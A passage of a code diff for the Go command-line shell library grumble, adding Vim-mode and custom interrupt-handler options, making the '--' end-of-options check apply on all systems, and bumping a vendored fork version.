// parse the args and return a command path to the root.
// cmds slice is empty, if no command was found.
func (c *Commands) parse(
+6
View File
@@ -54,6 +54,9 @@ type Config struct {
// NoColor defines if color output should be disabled.
NoColor bool
// VimMode defines if Readline is to use VimMode for line navigation.
VimMode bool
// Prompt defines the shell prompt.
Prompt string
PromptColor *color.Color
@@ -70,6 +73,9 @@ type Config struct {
HelpHeadlineUnderline bool
HelpSubCommands bool
HelpHeadlineColor *color.Color
// Override default iterrupt handler
InterruptHandler func(a *App, count int)
}
// SetDefaults sets the default values if not set.
+2 -3
View File
@@ -26,7 +26,6 @@ package grumble
import (
"fmt"
"runtime"
"sort"
"strconv"
"strings"
@@ -130,9 +129,9 @@ Loop:
}
args = args[1:]
// A double dash (--) is used in most Bash commands to signify the end of command options,
// A double dash (--) is used to signify the end of command options,
// after which only positional arguments are accepted.
if a == "--" && runtime.GOOS == "linux" {
if a == "--" {
break Loop
}
+1 -1
View File
@@ -107,7 +107,7 @@ github.com/desertbit/columnize
# github.com/desertbit/go-shlex v0.1.1
## explicit; go 1.14
github.com/desertbit/go-shlex
# github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
# github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
## explicit; go 1.12
github.com/desertbit/grumble
# github.com/desertbit/readline v1.5.1